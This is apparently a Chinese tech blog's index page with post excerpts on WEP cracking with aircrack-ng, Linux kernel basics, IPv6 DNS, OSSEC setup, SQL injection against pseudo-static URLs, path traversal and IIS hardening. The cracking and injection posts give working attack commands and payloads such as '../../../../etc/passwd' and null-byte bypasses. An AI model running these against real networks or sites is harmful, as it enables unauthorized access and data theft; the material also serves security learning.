帮助别人,快乐自己!
网络技术
Ubuntu Linux无线密码破解利器Aircrack-ng
八 31st
想必搞过破解的朋友们都会知道bt3 bt4等Linux下的无线破解工具吧,在Ubuntu Linux系统下同样有着一款破解功能强大的工具,那就是aircrack-ng。放这篇文章出来只是做技术上的交流,本人可不希望谁用这个做坏事儿哦~~~嘿嘿,破解开始咯:
测试平台 Y450 T6600 2.1G Ubuntu 10.04 成功
1.下载安装aircrack-ng,本人直接从源中安装的。
sudo apt-get install aircrack-ng
2.启动无线,这里本人需要说明一下,很多朋友的无线可能在Windows系统中是禁用或者是系统自带的电源管理系统中未开启无线的,这种情况下需要先在win状态下开启之后才能在Ubuntu中开启无线。开启完成后进入Ubuntu ,开一个终端,ifconfig -a看看wlan是否开启,开启正常可进行下一步。
3.准备工作完成,开始破解。开启终端①,
sudo airmon-ng start wlan0
sudo airodump-ng mon0
这时会看到无线的地址出现在屏幕上,这里有显示它们的mac地址以及所在频道。ok,ctrl+c退出,在这里我们选择类型为wep的无线为破解对象。我们需要记录它所在的频道以及mac地址。
4.开启终端②
sudo airodump-ng -c 频道 –bssid 目标主机mac -w wep mon0
这里的wep为默认的存包文件的名字,可以更改。
5.开启终端③
sudo aireplay-ng -1 0 -a 目标mac -h 本机MAC mon0
(本机的mac可以开启一个新的终端用ifconfig -a来查询)
这时会有成功字样显示,如果没有显示可能就是目标不支持或者系统部稳定,需要更换目标了。显示成功后进行下步。
6.继续输入sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 目标MAC -h 本机MAC mon0
此时终端②中的数据会增长很快,当数据到达5000的时候就可以破解了。
7.开启终端 ④
sudo aircrack-ng 更多 >
Linux WEP测试解析
八 31st
1、首先
ifconfig -a
查看自己的网卡,我的是eth1,也有的是WLAN
2、ifconfig -a eth1 up
驱动自己的网卡
3、airmon-ng start eth1 6
开启自己网卡的监听模式,频道号为你要破解的AP的频道号。查看的方法很多,我就不细说了。
4、airodump-ng –ivs -w result -c 6 eth1
开始抓包,–ivs代表只抓IVS包,此处是两个“-”-w代表写入文件,后面我写的是result即抓到的包都保存在以result为文件名的文件中,-c代表频道,这里是6。
5、开另一shell窗口
伪装连接 aireplay-ng -1 0 -e apID -a apmac -h 网卡mac eth1
成功后 aireplay-ng -3 -b -apmac -h 网卡mac -x 30 eth1
运行后会显示
read **** packets(got 0 arp requests),sent 0 packets…
大家不要着急,这是没有ARP包,耐心等待。不过我破的有的等到10W多还是没用,建议换个时间试试。
-x 30这个是关键,-x是指定注入速度,这里是30,一般资料都是 -x 1024,但实际上4311在BT3使用1024的注入速度,的确是可以的,能达到4、500,不过过不了1、2秒,就提示
write failed: Cannot allocate memory
wi_write(): Illegal seek
注入就停了。在论坛上看帖子有人说30就能稳定,经实验的确如此。大家可以尝试提高这个数值,看最大能到多少。毕竟30还是比较慢的,我室友看优酷都能到 70多,不用注入,一会儿就够了。
6、等DATA到了15000左右
开另一shell窗口
aircrack-ng 更多 >
包你能学会的技术:Linux内核入门集
七 29th
这年头,Linux成了一个时髦词。自诩对电脑玩的精通的学生和IT人士们,没有哪个不在自己的电脑上安装一、两个Linux,并自觉赶上了时髦。然而,在Ubuntu或SUSE的论坛中,经常有这样的对话:
“你学Linux学了这么久,都学到了什么?”
“哦,我现在Linux的安装、升级、桌面美化都很熟练!你看我这是最新版的Ubuntu,桌面很漂亮吧!”
“……”
Linux社区中有一句名言:如果你进入你的操作系统不知道该做什么,那最好还是关掉电脑,一定有更重要的事等着你去做。说真的,如果对Linux命令不熟练,真的不能算是学过Linux。然而另一方面,Linux内核虽然是一般用户可学可不学的内容,但可以说却是Linux操作系统中最好玩的部分。尤其对于开发者而言,Linux内核开发绝对是最理想的磨练场所。51CTO编辑一直认为,国外之所以IT技术大拿林立,和他们从小接触类UNIX系统、把玩内核开发是脱不了关系的。
下面是Linux内核开发者Robert Love写的一篇入门文章,号称“包教会”,推荐对Linux内核开发感兴趣的学生、Linux爱好者、开发者以及系统管理员们一定不要错过。当然,虽然标题说是包教会,你可能需要一定的Linux命令以及C语言的基础。
以下是正文内容:
Linux内核一直都被视为学习Linux最难的一块,相信大家也一定看过不少关于内核的文章,但扪心自问,你现在究竟掌握了多少?本文将从零开始介绍被视为高深的Linux内核,内容涉及内核源代码的下载,编译,安装,以及内核开发相关的内容。
如何获取Linux内核源代码
下载Linux内核当然要去官方网站了,网站提供了两种文件下载,一种是完整的Linux内核,另一种是内核增量补丁,它们都是tar归档压缩包。除非你有特别的原因需要使用旧版本的Linux内核,否则你应该总是升级到最新版本。
使用Git
由Linus领头的内核开发队伍从几年前就开始使用Git版本控制系统管理Linux内核了(参考阅读:什么是Git?),而Git项目本身也是由Linus创建的,它和传统的CVS不一样,Git是分布式的,因此它的用法和工作流程很多开发人员可能会感到很陌生,但我强烈建议使用Git下载和管理Linux内核源代码。
你可以使用下面的Git命令获取Linus内核代码树的最新“推送”版本:
$ git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6.git
然后使用下面的命令将你的代码树与Linus的代码树最新状态同步:
$ git pull
安装内核源代码
内核包有GNU zip(gzip)和bzip2格式。Bzip2是默认和首选格式,因为它的压缩比通常比gzip更好,bzip2格式的Linux内核包一般采用linux-x.y.z.tar.bz2形式的文件名,这里的x.y.z是内核源代码的具体版本号,下载到源代码包后,解压和抽取就很简单了,如果你下载的是bzip2包,运行:
$ tar xvjf linux-x.y.z.tar.bz2
如果你下载的是gzip包,则运行:
$ tar xvzf linux-x.y.z.tar.gz
无论执行上面哪一个命令,最后都会将源代码解压和抽取到linux-x.y.z目录下,如果你使用Git下载和管理内核源代码,你不需要下载tar包,只需要运行git clone命令,它就会自动下载和解压。
内核源代码通常都会安装到/usr/src/linux下,但在开发的时候最好不要使用这个源代码树,因为针对你的C库编译的内核版本通常也链接到这里的。
应用补丁
Linux内核开发人员会将自己的修改做成补丁与其它人员分享,而且补丁是增量的,增量补丁是从一个内核树移动到另一个内核树的有效方法,不用下载完整的内核包就可以升级内核,不仅可节省带宽,也节省了内核升级时间,应用补丁之前先进入内核源代码树所在目录,然后运行:
$ patch –p1 < ../patch-x.y.z
注意,补丁包也有明确的版本号,这里的版本号与Linux内核源代码的版本号要一致,内核和补丁版本号不一致时,强制应用补丁会引起意想不到的后果。
内核源代码树介绍
内核源代码树分为许多目录,它们下面又包含许多子目录,源代码树的顶级目录及其描述参见下表。
目录 描述
arch 特定架构的源代码
block 块I/O层
crypto 加密API
Documentation 内核源代码文档
drivers 设备驱动
firmware 使用某个驱动需要的设备固件
fs VFS和独立文件系统
include 内核头
init 内核启动和初始化
ipc 进程间通信
kernel 核心子系统,如调度器
lib 助手例行程序
mm 内存管理子系统和VM
net 网络子系统
samples 示例,示范代码
scripts 用于生成内核的脚本
security Linux安全模块
sound 声音子系统
usr 早期的用户空间代码(叫做initramfs)
tools 辅助Linux开发的工具
virt 虚拟化基础设施
在源代码树的根目录下还有很多文件需要说明,COPYING是内核许可描述文件(即GNU GPL v2),CREDITS是参与Linux内核的开发人员名单,MAINTAINERS列出了维护各个子系统和驱动的个人,Makefile是内核Makefile的基础。
生成内核
生成内核其实很简单,甚至比编译和安装其它系统级组件,如glibc还要简单,从2.6版本开始,Linux内核引入了一个新的配置和生成系统,它使生产内核的操作变得更加简单了。
配置内核
既然已经拿到内核源代码,那我们在开始编译前就可以根据需要自行配置和定制,可以编译你指定的功能和想要的驱动,配置内核是生成内核必须的一步,因为内核提供了大量的功能,支持各种不同的硬件,有很多都需要配置,内核配置是由配置选项控制的,配置选项都有CONFIG前缀,例如,对称多处理(SMP)是由CONFIG_SMP配置选项配置的,如果设置了这个选项,SMP就被启用了,反之则被禁用,配置选项可以确定会生成哪个文件,也可以通过预处理指令操控代码。
配置选项可以控制生成过程要么是布尔型,要么是三态型,布尔型就是“是”或“否”,大部分内核配置选项都属于布尔型,如CONFIG_PREEMPT,而三态型则在“是”和“否”的基础上,又增加一个“模块”选项,模块选项表示配置选项被设置了,但最后会编译成模块,而不是直接编译进内核,模块可以理解为可独立动态载入的对象,一般来说,驱动配置通常都是三态型。
配置选项也可以是字符串或整数,这样的选项不会控制生成过程,指定的值由内核源代码访问预处理宏时使用,例如,可以为某个配置选项指定静态分配数组的大小。
Linux厂商也会随发行版提供预编译的内核,如Canonical为Ubuntu,或Red Hat为Fedora提供的内核,这样的内核通常只启用了需要的内核功能,几乎所有驱动都被编译成模块了,这样的内核提供了一个良好的基础内核和广泛的硬件模块支持,无论如何,想要成为内核高手,你应该编译自己的内核。
值得庆幸的是,内核提供了很多工具简化配置 ,最简单的工具是基于文本命令行的实用程序,如:
$ make config
这个工具会一个选项一个选项地配置,但用户需要参与,如指定“是(y)”,“否(m)”还是“模块(m)”,整个配置过程需要很长的时间,因此,除非是有人按小时计费请你升级内核,实在找不出别的理由用这种最原始的方法配置内核了,相反,有现成的基于ncurses的图形化工具可以代替。
$ make menuconfig
或是基于gtk+的图形化工具
$ make gconfig
上述三个工具都将配置选项分成多个类别,如“处理器类型和特征”,你可以在这些类别上来回移动,查看内核选项,当然也可以修改它们的设置了。
下面这个命令会根据你的架构创建一个默认的配置基础。
$ 更多 >
用Windows 2003构建IPv6域名系统
七 5th
本篇文章源自《黑客防线》2007年7月刊
转载请注明版权
作者:刘利强 王勇智
===================================
IPv6是新一代的网络协议,它拥有巨大的地址空间、方便的网络即插即用功能、良好的移动性支持、支持更好的服务质量(QOS)、内置安全性等新特性。IPv6是被设计用来取代IPv4协议的下一代网络协议,它的许多新特性也需要域名系统的支持。域名系统(Domain Name System,简称DNS)的主要功能是通过域名和IP地址之间的相互对应关系,来定位网络资源,即根据域名查询IP地址,反之亦然。它是Internet的基础架构,众多的网络服务(如Web,Ftp,Email等)都是建立在DNS服务之上的,并随着网络应用的日益广泛而变得越来越重要。IPv6的许多新特性都和DNS的支持密不可分,因此分析和实现IPv6网络中的DNS系统更加的重要。本文将以Windows Server 2003操作系统为例,说明IPv6域名系统的具体安装过程。
IPv6域名系统
IPv6网络中的域名体系结构与IPv4一样,都是采用倒置的树状层次结构的域名空间。最高层的节点称为根(Root)域,用于解析顶级域。根域以下是顶级子域,它包含第二层域和主机。再以下是第三层、第四层……,依此类推。DNS树上的每一个节点都有一个标识,根节点的标识是“空”,即长度为0,其它节点的标识长度在0~63字节之间,可以包含英文大小写字母、数字和下划线,同一节点的子节点不可以用同样的标识。节点表示整个分布式数据库中的一个域,每个域可进一步划分成子域。节点的域名表明它在整个分布式数据库中的位置,在DNS中,域名是由该节点到根的所经节点的标识从左往右顺序排列而成,标识之间用“.”分隔。以“.”结尾的写法表示一个完整的域名,称绝对域名。
为了使目前的域名系统能正确实现域名到IPv6地址的正向解析,域名系统中增加了两种新的资源记录类型“AAAA”和“A6”。其中,“AAAA”较早提出,它是对“A”记录的简单扩展,由于IP地址由32位扩展到128位,扩大了4倍,所以资源记录由“A”扩大成4个“A”。“AAAA”用来表示域名和IPv6地址的对应关系,并不支持地址的层次性。“A6”在RFC2874中提出,它是把一个IPv6地址与多个“A6”记录建立联系,每个“A6”记录都只包含了IPv6地址的一部分,结合后拼装成一个完整的IPv6地址。“A6”记录支持一些“AAAA”所不具备的新特性,如地址聚合、地址更改(Renumber)等。IPv6反向解析的记录和IPv4一样,是“PTR”,但地址表示形式有两种。一种是用“.”分隔的半字节16进制数字格式(Nibble Format),低位地址在前,高位地址在后,域后缀是“IP6.INT.”。另一种是二进制串(Bit-string)格式,以“\[”开头,16进制地址(无分隔符,高位在前,低位在后)居中,地址后加“]”,域后缀是“IP6.ARPA.”。半字节16进制数字格式与“AAAA”对应,是对IPv4的简单扩展。
IPv6域名服务器的配置
1)安装IPv6协议
在Windows 2003下安装IPv6协议的方法如下。
⑴单击“开始->控制面板”,然后双击“网络连接”。
⑵右击“本地连接”,单击“属性”。
⑶单击“安装”,在“选择网络组件类型”对话框中,单击“协议”,然后单击“添加”。
⑷在“选择网络协议”对话框中,单击“Microsoft TCP/IP 版本6”,然后单击“确定”。
⑸单击“关闭”,保存对网络连接所做的修改。
2)设置IPv6地址
IPv6的使用和配置跟IPv4的窗口设置不一样,它需要在“命令提示符”环境下,用命令行来配置。通过使用Netsh interface ipv6命令,可以手动配置IPv6地址和路由,此命令可使用附加参数,详见在线帮助。
⑴在命令提符下运行“netsh interface ipv6 add address “本地连接” 3ffe:3211::1”,该命令设定服务器静态的IPv6地址为3ffe:3211::1。
⑵运行“netsh interface ipv6 add route 3ffe:3211::/64 “本地连接””,该命令用于设置前缀的路由。
⑶运行“netsh interface ipv6 add route “本地连接” 3ffe:3211::254”,该命令用于设置服务器的默认网关为3ffe:3211::254。
3)安装DNS 服务
单击“开始->管理工具”,然后单击“配置您的服务器向导”,按屏幕上的指示进行操作,安装好DNS服务,并创建好一个允许动态更新的正向查找区域。
4)配置DNS 服务器以便侦听IPv6
⑴安装Windows支持工具。将Windows Server 2003光盘插入到光驱,转到光盘上\W2k3chs\Entrtl\Support\Tools文件夹,双击“Suptools.msi”,再按屏幕上的指示进行操作即可。
⑵在命令提示符下,键入命令:“dnscmd /config /EnableIPv6 1”。
⑶在DNS控制台中,右击计算机名,在“所有任务”菜单中,依次选择“停止”和“启动”命令,重新启动DNS服务器服务。
⑷设置DNS资源记录。在DNS控制台中的正向查找区域中,右击一个已创建好的区域名,在弹出的快捷菜单中选择“其他新记录”,然后选择“IPv6主机(AAAA) ”资源记录类型,再单击“创建记录”按钮,便可以输入主机名和相应的IPv6地址,这样就创建了1条IPv6的DNS资源记录,如图1所示。
客户端的配置
客户机以Windows XP+SP1为操作平台,安装和配置IPv6协议的方法如下。
1)安装IPv6 协议
在命令提符下运行ipv6 install。
2)配置IPv6地址
⑴在命令提符下运行“netsh interface ipv6 add address “本地连接” 3ffe:3211::2”,该命令会设定客户端静态的IPv6地址为3ffe:3211::2。
⑵运行“netsh interface ipv6 add 更多 >
ossec开源入侵检测系统安装配置V1.0
七 1st
ossec开源入侵检测系统安装配置V1.0,文档对server/agent模式进行详细介绍,如果只有一台服务器,可以用local模式,这种方式安装更为简单。
OSSEC简要介绍: OSSEC 是一款开源的入侵检测系统,包括了日志分析,全面检测,rook-kit检测。作为一款HIDS,OSSEC应该被安装在一台实施监控的系统中。另外有时候不需要安装完全版本的OSSEC,如果有多台电脑都安装了OSSEC,那么就可以采用客户端/服务器模式来运行。客户机通过客户端程序将数据发回到服务器端进行分析。在一台电脑上对多个系统进行监控对于企业或者家庭用户来说都是相当经济实用的。
环境: centos5.5 x86_64 ossec-hids 2.4.1 192.168.1.222 ossec server 192.168.1.223 ossec client1
下载地址
wget http://www.ossec.net/files/ossec-hids-2.4.1.tar.gz
一、ossec server安装
1.解压安装
tar xvzf ossec-hids-2.4.1.tar.gz cd ossec-hids-2.4.1 ./install.sh
** Para instala??o em português, escolha [br].
** 要使用中文进行安装, 请选择 [cn].
** Fur eine deutsche Installation wohlen Sie [de].
** Για εγκατ?σταση στα Ελληνικ?, επιλ?ξτε [el].
** For installation in English, choose [en].
** 更多 >
伪静态注入技术
六 9th
常规的伪静态页面如下:http://www.XXX.com/play/Diablo.html,在看到之前先要确定这个页面是静态还是伪静态,鉴别方法很多,也很简单这里就不说了。
例如关联的动态页面是game.php ,那么当用户访问后程序会自动转换成类似http://www.XXX.com/game.php?action=play&name=Diablo 的形式,当然这部分是PHP执行的所以在访问时看不到。
假如name=Diablo这个参数有注入点但是访问的是伪静态页面,那么注入的语句其实差不多,不过如果是MYSQL数据库是不能用注释符的,因为注释的斜杠会被当成目录访问,那么就会出现问题,所以这里的注入需要把语句补全。
注入点检测可以用:http://www.XXX.com/play/Diablo’ and 1=’1.html与http://www.XXX.com/play/Diablo’ and 1=’2.html来判断,联合查询我也试过,不过失败了。
我用的语句如下:http://www.XXX.com/play/diablo’ and 1=2 union select 1,2… from information_schema.columns where 1=’1.html,但是测试了N次都不能成功,有可能程序的SQL语句后面还有其他条件,具体原因没仔细看。
所以这个时候只能用盲注来检测,不过因为伪静态注入的URL比较特殊,一般的注入工具是利用不了的,所以就把刺猬写的COOKIES注入中转器的 get方式注入的代码修改了一下,只要把注入的参数写成Diablo ,然后在提交的语句后面加上.html那么就可以直接放到穿山甲里注入了。
注入的速度就看中转的速度了,感觉用低版本的穿山甲效果更好,高版本有可能因为速度比较快所以在猜解字母的时候会导致部分内容检测不到。 以上是我在伪静态注入时的一些方法,也许有些地方写的不正确还请各位大牛指出,我不会写程序,最多只能修改代码,所以如果有大牛可以写一款伪静态注入的工具那么感激不尽!
From : http://www.nuanyue.com/%e4%bc%aa%e9%9d%99%e6%80%81%e6%b3%a8%e5%85%a5%e6%8a%80%e6%9c%af.html
浅析路径遍历漏洞
五 30th
许多的Web应用程序一般会有对服务器的文件读取查看的功能,大多会用到提交的参数来指明文件名,形如:http://www.nuanyue.com/getfile=image.jgp
当服务器处理传送过来的image.jpg文件名后,Web应用程序即会自动添加完整路径,形如“d://site/images/image.jpg”,将读取的内容返回给访问者。
初看,在只是文件交互的一种简单的过程,但是由于文件名可以任意更改而服务器支持“~/”,“/..”等特殊符号的目录回溯,从而使攻击者越权访问或者覆盖敏感数据,如网站的配置文件、系统的核心文件,这样的缺陷被命名为路径遍历漏洞。在检查一些常规的Web应用程序时,也常常有发现,只是相对隐蔽而已。
发现路径遍历漏洞路径遍历漏洞的发现,主要是对Web应用程序的文件读取交互的功能块,进行检测,面对这样的读取方式:
“http://www.nuanyue.com/test/downfile.jsp?filename=fan.pdf”
我们可以使用 “../”来作试探,比如提交Url:“getfile=/fan/fan/*53.pdf”,而系统在解析是“d://site/test/pdf/fan/fan/../../*53.pdf”,通过“../”跳转目录“/fan”,即“d://site/test/pdf/*53.pdf”,返回了读取文件的正常的页面。
路径遍历漏洞隐藏一般在文件读取或者展示图片功能块这样的通过参数提交上来的文件名,从这可以看出来过滤交互数据是完全有必要的。恶意攻击者当然后会利用对文件的读取权限进行跨越目录访问,比如访问一些受控制的文件,“../../../../../../../etc/passwd“或者”../../../../boot.ini“,当然现在部分网站都有类似Waf的防护设备,只要在数据中会有/etc /boot.ini等文件名出直接进行拦截。
遍历路径攻击变异路径遍历漏洞是很常见的,在Web应用程序编写过程,会有意识的对传递过来的参数进行过滤或者直接删除,存在风险的过滤方式,一般可以采用如下方式进行突破:
以下是一些绕过的方法,当然在实际运行过程中,可以组合使用。
(1) 加密参数传递的数据;在Web应用程序对文件名进行加密之后再提交,比如:“downfile.jsp?filename= ZmFuLnBkZg- “,在参数filename用的是Base64加密,而攻击者要想绕过,只需简单的将文件名加密后再附加提交即可。所以说,采用一些有规律或者轻易能识别的加密方式,也是存在风险的。
(2) 编码绕过,尝试使用不同的编码转换进行过滤性的绕过,比如Url编码,通过对参数进行Url编码提交,“downfile.jsp?filename= %66%61%6E%2E%70%64%66“来绕过。
(3) 目录限定绕过;在有些Web应用程序是通过限定目录权限来分离的。当然这样的方法不值得可取的,攻击者可以通过某些特殊的符号“~“来绕过。形如这样的提交“downfile.jsp?filename=~/../boot”。能过这样一个符号,就可以直接跳转到硬盘目录下了。
(4) 绕过文件后缀过滤;一些Web应用程序在读取文件前,会对提交的文件后缀进行检测,攻击者可以在文件名后放一个空字节的编码,来绕过这样的文件类型的检查。例如:../../../../boot.ini%00.jpg,Web应用程序使用的Api会允许字符串中包含空字符,当实际获取文件名时,则由系统的Api会直接截短,而解析为“../../../../boot.ini”。在类Unix的系统中也可以使用Url编码的换行符,例如:../../../etc/passwd%0a.jpg如果文件系统在获取含有换行符的文件名,会截短为文件名。也可以尝试%20,例如: ../../../index.jsp%20
(5) 绕过来路验证。在一些Web应用程序中,会有对提交参数的来路进行判断的方法,而绕过的方法可以尝试通过在网站留言或者交互的地方提交Url再点击或者直接修改Http Referer即可,这主要是原因Http Referer是由客户端浏览器发送的,服务器是无法控制的,而将此变量当作一个值得信任源是错误的。
防范遍历路径漏洞在防范遍历路径漏洞的方法中,最有效的是权限的控制,谨慎的处理向文件系统API传递过来的参数路径。主要是因为大多数的目录或者文件权限均没有得到合理的配置,而Web应用程序对文件的读取大多依赖于系统本身的API,在参数传递的过程,如果没有得严谨的控制,则会出现越权现象的出现。在这种情况下,Web应用程序可以采取以下防御方法,最好是组合使用。
(1) 数据净化,对网站用户提交过来的文件名进行硬编码或者统一编码,对文件后缀进行白名单控制,对包含了恶意的符号或者空字节进行拒绝。
(2) Web应用程序可以使用chrooted环境访问包含被访问文件的目录,或者使用绝对路径+参数来控制访问目录,使其即使是越权或者跨越目录也是在指定的目录下。
总结路径遍历漏洞允许恶意攻击者突破Web应用程序的安全控制,直接访问攻击者想要的敏感数据 ,包括配置文件、日志、源代码等,配合其它漏洞的综合利用,攻击者可以轻易的获取更高的权限,并且这样的漏洞在发掘上也是很容易的,只要对Web应用程序的读写功能块直接手工检测,通过返回的页面内容来判断,是很直观的,利用起来也相对简单。
永久链接 : http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html
Web服务器的安全设置
五 29th
原创作者:阿呆&柔肠寸断 [3.A.S.T] 信息来源:3.A.S.T网络安全团队 (www.3ast.com.cn) 该文章已经发表在《黑客X档案》09第三期,转载请说明出处
引入:
今天我所说的Web服务器安全是从安全设置出发的,所以即使你不会代码,我相信按照我的方法也能做到相应的安全。
攻击
1、旁注
如今在网络上对于网站的攻击,我们经常听到一个名词——旁注。那么旁注到底是个什么意思呢?顾名思意就是说我们要攻击一个网站或者一台服务器, 在正面交锋中,我们无法将其拿下,那么我们就从旁边试图突破,然后再转到目标上来将其拿下;举个形象点的例子就是说,我们要进入一间房子,发现正门进不去,我们会怎么进去?有些人肯定会马上说翻窗户,对了,这里的翻窗户实际上就是我们的旁注的意思。我这样说大家应该理解了吧!
2、上传漏洞
在现在对于网站的攻击方法非常多,这里提到的上传漏洞也是其中一种,其实际意思就是说网站代码有漏洞,我们可以通过直接上传或者通过修改上传数据包的方式来将我们的ASP木马上传到服务器,从而得到webshell。至于是如何操作的,网络上相关的教程比比皆是,我在这就不浪费文字了。
思考:
不管你是如何得到别人的webshell的,只要你得到了webshell了,下面面临的最大问题就是获取服务器的admin权限,当然关于如何提权,也不是我今天要讲的内容,我们要思考的是,如何是防止别人提权及怎样通过BT的安全设置来妨碍那些所谓的“黑客”!
分析:
网站被入侵一般情况都是网站代码的问题,如果说你不会代码,又想要保障该网站的安全,那是有点困难的,但是想要保障服务器的安全,除开代码部分我们还是有方法的,下面我将从几个方面给大家说说一台虚拟主机应该如何来配置,从而可以使我们的服务器安全。
实战:
1、整体权限的把握
想要做权限那么先要保证你的磁盘的文件系统为NTFS,这里我强烈建议那些想架设网站的和已经是ISP的人员这么做,因为这能够大大的提高服务器的安全性,附上FAT/FAT32转NTFS的命令:
convert 盘符 /fs:ntfs /x
整体的权限我个人的习惯是这样的,再次说明这只是我的个人习惯,我会将每个磁盘的权限设置为只有administrators跟system完全控制的权限,其他的任何组,任何用户,我都不再给权限,如下图:
system与上面的一样,所以我只放出一章图!
注意:我上面只放出一张图,并不是说只有C盘这样设置,是每个分区都要这样设置。
到此我们的整体权限可以说是基本完成,当然后面肯定还有需要更改的地方,大家慢慢看,等会就知道了!
2、默认站点的删除
为什么要删除,相信大家都能够想明白,原因是因为,你知道默认站点的路径黑客也是知道的,所以没必要给黑客任何机会,所以毫不犹豫的删除吧!
3、建立整体目录
这只是为了方便自己日后管理。 比方说,我会将我要架设的站点全部放置在某一个分区的Web文件夹内,以后自己看见了,就知道,这个文件夹是自己专门用来放网站的,这个里面全部都是服务器上的网站。图略,步骤略。
4、单一的站点单一的用户
这是什么意思呢?且听我慢慢道来! 所谓单一的站点单一的用户,这个方法是针对那些做虚拟主机的服务商而言的,试想一下,如果所有站点都是使用的同一个用户(IUSR_机器名),那黑客拿下一个站点的权限,岂不是整个虚拟主机上的站点都被人拿到了,那损失就大了,具体的设置方法如下:
a、首先建立一个guests组的用户,比方说站点为aaa那么我们就建立一个aaa的用户,密码也为aaa(这是为了方便自己日后管理,免得站点多了,密码忘记了),将这个用户从users组删除并且加入到guests组,相关命令如下:
net user aaa aaa /add net localgroup users aaa /del net localgroup guests aaa /add
b、然后将上面建立的用户分别应用到与根目录上,步骤如图:
从上图可知aaa用户对于aaa站点的更目录拥有权限,权限的分配如上图,这个步骤是对于站点目录而言。
下图是对IIS的设置,右键点击aaa站点,选择【属性】-【目录安全性】-【身份验证和访问控制】-【编辑】
将aaa用户填写进去,如下图:
至此,单一站点单一用户设置完成,至于这样设置之后为什么我们访问站点不会要求我们输入用户名的问题,由于时间关系这里我不做解释,大家先依葫芦画瓢的按我的步骤做吧!
特别注意:我这里只说明了aaa站点跟aaa用户的设置,如果有bbb站点,那么你就应该建立一个bbb用户,然后按照上面的操作,将上面的aaa全部换成bbb即可。
设置到这里,服务器的安全其实也就马马虎虎了,至少一个站点被入侵,其他的站点是不会有事情的。
5、防止上传漏洞的IIS设置
插入几句话:我们知道一个好的站点,肯定是需要上传功能的,也正是因为这个原因导致很多网站被入侵,那么对于上传文件夹我们应该如何处理呢!下面我将假设aaa站点内存在一个专门用来存放用户上传文件的文件夹“uploadfiles”,然后对其进行设置,以下设置在IIS内完成,如下图:
在IIS中找到这个文件夹右键点击-【属性】-【目录】-【执行权限】,将原来的【纯脚本】改为【无】
为什么要这样设置呢?原因是因为,我们知道用户上传的文件要么是一些exe文件,要么是一些图片或者一些rar文件,而这些文件是绝对不会存在需要IIS解释的脚本的,也就是说这些文件根本不需要解释,可以被我们直接浏览,那我们 为什么还给它一个执行权限为【纯脚本】让黑客有机可乘呢,改为【无】之后,用户上传文件,即使是ASP木马,用户也浏览不了了,这不是很好么!
6、删除IIS中不必要的关联
在IIS中,不管你是什么站点,是ASP的也好,是PHP的也好,实际上都是需要一个解释器对相应的ASP脚本语言、PHP脚本语言进行解释的,我们用户通过IE浏览到的页面,其实都是IIS解释之后的结果,就我个人熟识的,一个站点,我还没看见有几种脚本语言的,所以当你知道这个原理之后,我就问一下,如果我们的站点只是一个ASP的站点,我们有必要让我们的站点上面还存在PHP的解释器吗?答案就不言而喻了!操作步骤如下图:
在鼠标右键点击该站点选择属性-【主目录】-【配置】-【映射】-【应用程序扩展】,将里面不需要的全部删除,如上图所示!
这种操作之后,就可以防止黑客上传一些后缀为asa,cer的木马来得到webshell了!
7、防止数据库被下载
我们知道网站最核心的东西就是它的数据库,很多黑客就围绕着数据库不知道下了多少心事,因为黑客知道,只要能把网站的数据库下载下来,目的差不多完成了一大半,那么我们应该如何来防止数据库下载呢?下面教给大家一个终极办法,从上一个步骤的说明大家可以知道,用户通过IE浏览网页都是浏览的IIS解释之后的结果,那么,我们可以添加一个无用的关联,使这个关联来解释我们的mdb文件,这个时候,黑客就无法来下载我们站点的数据库了,即使下载下来,也不用怕,因为那数据库已经是个乱七八糟的数据库了,为什么这么说,举个例子,我们有一篇英文文章,结果你找来一个德语翻译来翻译,最后的东西你能看明白吗?自己慢慢去体会吧!操作如下图:
按照上一个步骤的方法打开上图的地方之后点击【添加】,然后为.mdb创建一个新的关联,上面的【可执行文件】随便找一个.dll的文件就可以了!但是记住,千万不要选择asp.dll文件就可以了,原因,哎哟,一句两句解释不清楚,呵呵,反正记住我的忠告吧!呵呵!
8、对站点的文件夹的权限灵活设置(新手慎用)
这一步骤,我就不截图了,因为我怕,有人看了图不看我写的!我只给大家一个思路,比如你对你的站点非常熟悉,知道哪些目录是需要写权限, 哪些目录是不需要写权限的,那么你就根据自己的思路,自由设置,如果不熟悉这个步骤可以省略!因为上面的设置个人觉得已经够黑客忙一阵子了! (*^__^*) 嘻嘻……!
最后送大家一句话“没有绝对安全的服务器,只有不断安全的服务器”,所以说并不是按照我的步骤设置完成了,你的服务器就没有任何问题了,我希望大家能在学习中有所发现,能够提出更加完善的“服务器安全方案”!
再给大家一个公式:最小的权限+最少的服务=最大的安全。。。。
更多 >
近期评论